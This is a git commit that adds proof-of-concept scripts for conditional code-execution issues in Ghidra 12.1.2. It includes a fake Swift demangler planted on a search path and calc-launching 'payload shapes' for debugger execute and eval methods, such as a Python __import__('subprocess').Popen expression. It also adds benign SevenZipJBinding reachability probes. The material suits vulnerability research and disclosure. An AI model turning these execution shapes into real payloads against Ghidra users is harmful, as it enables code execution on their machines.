Upload files to "ghidra-12.1.2-rce-ace-calc-poc/pocs"

This commit is contained in:
2026-06-29 16:45:13 +00:00
parent aa9461b626
commit dd5558e4d9
5 changed files with 446 additions and 0 deletions
@@ -0,0 +1,47 @@
import java.io.RandomAccessFile;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import net.sf.sevenzipjbinding.IInArchive;
import net.sf.sevenzipjbinding.PropID;
import net.sf.sevenzipjbinding.SevenZip;
import net.sf.sevenzipjbinding.impl.RandomAccessFileInStream;
public final class SevenZipReachabilityProbe {
private SevenZipReachabilityProbe() {
}
public static void main(String[] args) throws Exception {
Path zipPath = Files.createTempFile("ghidra-sevenzip-safe-", ".zip");
createHarmlessZip(zipPath);
System.out.println("Purpose: benign SevenZipJBinding runtime reachability check.");
System.out.println("Sample: " + zipPath);
System.out.println("No malicious archive bytes or command payload are present.");
SevenZip.initSevenZipFromPlatformJAR();
System.out.println("SevenZip version object: " + SevenZip.getSevenZipVersion());
try (RandomAccessFile file = new RandomAccessFile(zipPath.toFile(), "r");
IInArchive archive = SevenZip.openInArchive(null, new RandomAccessFileInStream(file))) {
System.out.println("Archive format: " + archive.getArchiveFormat());
System.out.println("Item count: " + archive.getNumberOfItems());
for (int i = 0; i < archive.getNumberOfItems(); i++) {
System.out.println("Item " + i + " path: " + archive.getProperty(i, PropID.PATH));
}
}
}
private static void createHarmlessZip(Path zipPath) throws Exception {
try (ZipOutputStream zip = new ZipOutputStream(Files.newOutputStream(zipPath))) {
ZipEntry entry = new ZipEntry("hello.txt");
zip.putNextEntry(entry);
zip.write("harmless sample for parser reachability checks\n".getBytes(StandardCharsets.UTF_8));
zip.closeEntry();
}
}
}
@@ -0,0 +1,87 @@
#!/usr/bin/env python3
import argparse
import platform
import subprocess
from pathlib import Path
from calc_helper import launch_calc, make_executable, shell_script_header, write_marker
def default_out_dir() -> Path:
return Path(__file__).resolve().parent.parent / "artifacts" / "swift-demangler-calc"
def fake_demangler_name() -> str:
return "swift-demangle.cmd" if platform.system().lower() == "windows" else "swift-demangle"
def build_fake_demangler(fake_demangler: Path, marker: Path, no_calc: bool) -> None:
lines = [shell_script_header()]
if platform.system().lower() == "windows":
lines.extend(
[
"echo Swift demangler calc PoC 1.0\n",
f'echo ran with: %* > "{marker}"\n',
]
)
else:
lines.extend(
[
"echo 'Swift demangler calc PoC 1.0'\n",
f'printf "ran with: %s\\n" "$*" > "{marker}"\n',
]
)
fake_demangler.write_text("".join(lines), encoding="utf-8")
make_executable(fake_demangler)
if no_calc:
return
def main() -> int:
parser = argparse.ArgumentParser(
description="Conditional Ghidra Swift demangler path ACE calc PoC."
)
parser.add_argument("--run", action="store_true", help="execute the fake demangler")
parser.add_argument("--no-calc", action="store_true", help="create marker only")
parser.add_argument("--out-dir", type=Path, default=default_out_dir())
args = parser.parse_args()
out_dir = args.out_dir.resolve()
fake_swift_dir = out_dir / "fake-swift-bin"
fake_swift_dir.mkdir(parents=True, exist_ok=True)
marker = out_dir / "swift_demangler_calc_marker.txt"
fake_demangler = fake_swift_dir / fake_demangler_name()
build_fake_demangler(fake_demangler, marker, args.no_calc)
print("Purpose: conditional Swift demangler path ACE calc PoC.")
print(f"Fake Swift binary directory: {fake_swift_dir}")
print(f"Fake demangler: {fake_demangler}")
print(f"Marker file: {marker}")
print("Simulated Ghidra command shape: swift-demangle --version")
print("Classification: conditional ACE, not default/open-only RCE.")
if not args.run:
print("Dry run only. Re-run with --run to execute the fake demangler.")
print("Use --no-calc with --run to create only the marker file.")
return 0
subprocess.run([str(fake_demangler), "--version"], check=True)
if not marker.exists():
raise RuntimeError("Expected marker was not created")
if args.no_calc:
print("Calc launch disabled by --no-calc.")
else:
launched = launch_calc()
if launched:
print("Local calculator launch requested.")
else:
print("No platform calculator command was found; marker proves execution.")
print(f"[created] {marker}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
@@ -0,0 +1,68 @@
#!/usr/bin/env python3
import os
import platform
import shutil
import subprocess
from pathlib import Path
def write_marker(path: Path, text: str) -> None:
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(text + "\n", encoding="utf-8")
def calc_command() -> list[str] | None:
system = platform.system().lower()
if system == "windows":
return ["calc.exe"]
if system == "darwin":
return ["open", "-a", "Calculator"]
for name in ("xcalc", "gnome-calculator", "kcalc", "qalculate-gtk"):
resolved = shutil.which(name)
if resolved:
return [resolved]
return None
def calc_shell_command() -> str:
system = platform.system().lower()
if system == "windows":
return "calc.exe"
if system == "darwin":
return "open -a Calculator"
return "xcalc || gnome-calculator || kcalc || qalculate-gtk"
def calc_python_eval_expression() -> str:
system = platform.system().lower()
if system == "windows":
args = "['calc.exe']"
elif system == "darwin":
args = "['open', '-a', 'Calculator']"
else:
args = "['sh', '-lc', 'xcalc || gnome-calculator || kcalc || qalculate-gtk']"
return f"__import__('subprocess').Popen({args})"
def launch_calc() -> bool:
cmd = calc_command()
if cmd is None:
return False
kwargs = {}
if platform.system().lower() == "windows":
kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)
subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, **kwargs)
return True
def shell_script_header() -> str:
if platform.system().lower() == "windows":
return "@echo off\n"
return "#!/bin/sh\n"
def make_executable(path: Path) -> None:
if platform.system().lower() != "windows":
mode = path.stat().st_mode
path.chmod(mode | 0o111)
@@ -0,0 +1,136 @@
#!/usr/bin/env python3
import argparse
import os
from pathlib import Path
from calc_helper import (
calc_command,
calc_python_eval_expression,
calc_shell_command,
launch_calc,
write_marker,
)
PATTERNS = (
"def execute(",
"gdb.execute(cmd",
"exec_convert_errors(cmd",
"def pyeval(",
"return eval(expr)",
"EvaluateExpression(expr)",
)
def default_source() -> Path | None:
candidates: list[Path] = []
env_source = os.environ.get("GHIDRA_SOURCE")
if env_source:
candidates.append(Path(env_source))
candidates.extend(
[
Path.cwd() / "ghidra-12.1.2",
Path(__file__).resolve().parents[2] / "ghidra-12.1.2",
]
)
for candidate in candidates:
if candidate.exists():
return candidate.resolve()
return None
def find_hits(root: Path) -> list[tuple[Path, int, str, str]]:
debug_root = root / "Ghidra" / "Debug"
if not debug_root.exists():
raise FileNotFoundError(f"Could not find Ghidra/Debug under {root}")
hits: list[tuple[Path, int, str, str]] = []
for method_file in debug_root.rglob("methods.py"):
try:
lines = method_file.read_text(encoding="utf-8", errors="replace").splitlines()
except OSError:
continue
for line_no, line in enumerate(lines, start=1):
stripped = line.strip()
for pattern in PATTERNS:
if pattern in stripped:
hits.append((method_file.relative_to(root), line_no, pattern, stripped))
return hits
def payload_shapes() -> list[str]:
calc = calc_shell_command()
return [
f"GDB execute(cmd) calc-only command: shell {calc}",
f"LLDB execute(cmd) calc-only command: platform shell {calc}",
f"LLDB pyeval(expr) calc-only expression: {calc_python_eval_expression()}",
]
def main() -> int:
parser = argparse.ArgumentParser(
description="Conditional TraceRMI RCE calc proof-shape checker."
)
parser.add_argument("--ghidra-source", type=Path, default=None)
parser.add_argument("--run-local-calc-demo", action="store_true")
parser.add_argument("--no-calc", action="store_true")
parser.add_argument(
"--out-dir",
type=Path,
default=Path(__file__).resolve().parent.parent / "artifacts" / "tracermi-conditional-rce",
)
args = parser.parse_args()
source = args.ghidra_source.resolve() if args.ghidra_source else default_source()
if source is None or not source.exists():
raise SystemExit(
"Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree"
)
out_dir = args.out_dir.resolve()
out_dir.mkdir(parents=True, exist_ok=True)
marker = out_dir / "tracermi_local_calc_marker.txt"
shapes_file = out_dir / "tracermi_calc_payload_shapes.txt"
print(f"Ghidra source: {source}")
print("Purpose: conditional TraceRMI RCE calc proof shape.")
print("This script does not start TraceRMI, connect to an agent, or send execute requests.")
hits = find_hits(source)
if not hits:
print("Result: no execution-capable TraceRMI agent method patterns were found.")
return 2
current_file: Path | None = None
for relative, line_no, _pattern, text in sorted(hits):
if current_file != relative:
current_file = relative
print(f"[file] {relative}")
print(f" [hit] line {line_no}: {text}")
shapes = payload_shapes()
shapes_file.write_text("\n".join(shapes) + "\n", encoding="utf-8")
print(f"[created] {shapes_file}")
if args.run_local_calc_demo:
write_marker(marker, "local calc demo ran")
print(f"[created] {marker}")
if args.no_calc:
print("Calc launch disabled by --no-calc.")
else:
if launch_calc():
print("Local calculator launch requested.")
else:
print("No platform calculator command was found; marker proves execution.")
else:
print("Local calc demo not run. Add --run-local-calc-demo to launch calc locally.")
print("Result: TraceRMI execution-capable agent method patterns were found.")
print("Classification: conditional RCE, not default unauthenticated RCE.")
print(f"Detected local calc command: {calc_command()}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
@@ -0,0 +1,108 @@
#!/usr/bin/env python3
import argparse
import os
import zipfile
from pathlib import Path
CHECKS = (
("SevenZipJBinding dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding:16.02-2.01"),
("SevenZip all-platforms dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding-all-platforms:16.02-2.01"),
(
"Archive probe path",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java",
"probeStartBytes",
),
(
"SevenZip file system mount",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java",
"new SevenZipFileSystem",
),
(
"Native archive open",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystem.java",
"SevenZip.openInArchive",
),
(
"Native library load",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipCustomInitializer.java",
"System.load",
),
(
"ZIP tries SevenZip path",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/zip/ZipFileSystemFactory.java",
"SevenZipFileSystemFactory.initNativeLibraries",
),
)
def default_source() -> Path | None:
candidates: list[Path] = []
env_source = os.environ.get("GHIDRA_SOURCE")
if env_source:
candidates.append(Path(env_source))
candidates.extend(
[
Path.cwd() / "ghidra-12.1.2",
Path(__file__).resolve().parents[2] / "ghidra-12.1.2",
]
)
for candidate in candidates:
if candidate.exists():
return candidate.resolve()
return None
def main() -> int:
parser = argparse.ArgumentParser(description="Benign SevenZipJBinding reachability checker.")
parser.add_argument("--ghidra-source", type=Path, default=None)
parser.add_argument("--create-harmless-zip", action="store_true")
parser.add_argument(
"--out-dir",
type=Path,
default=Path(__file__).resolve().parent.parent / "artifacts",
)
args = parser.parse_args()
source = args.ghidra_source.resolve() if args.ghidra_source else default_source()
if source is None or not source.exists():
raise SystemExit(
"Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree"
)
print(f"Ghidra source: {source}")
print("Purpose: benign reachability check only. No exploit archive or command payload is generated.")
failed = False
for name, rel_path, pattern in CHECKS:
path = source / rel_path
if not path.exists():
print(f"[missing] {name}: {rel_path}")
failed = True
continue
text = path.read_text(encoding="utf-8", errors="replace")
if pattern in text:
line_no = text[: text.index(pattern)].count("\n") + 1
print(f"[found] {name}: {rel_path}:{line_no}")
else:
print(f"[miss] {name}: {rel_path}")
failed = True
if args.create_harmless_zip:
out_dir = args.out_dir.resolve()
out_dir.mkdir(parents=True, exist_ok=True)
zip_path = out_dir / "harmless-sevenzip-sample.zip"
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr("hello.txt", "harmless sample for parser reachability checks\n")
print(f"[created] harmless ZIP sample: {zip_path}")
if failed:
print("Result: one or more expected reachability checks were not found.")
return 2
print("Result: expected SevenZipJBinding reachability evidence was found.")
return 0
if __name__ == "__main__":
raise SystemExit(main())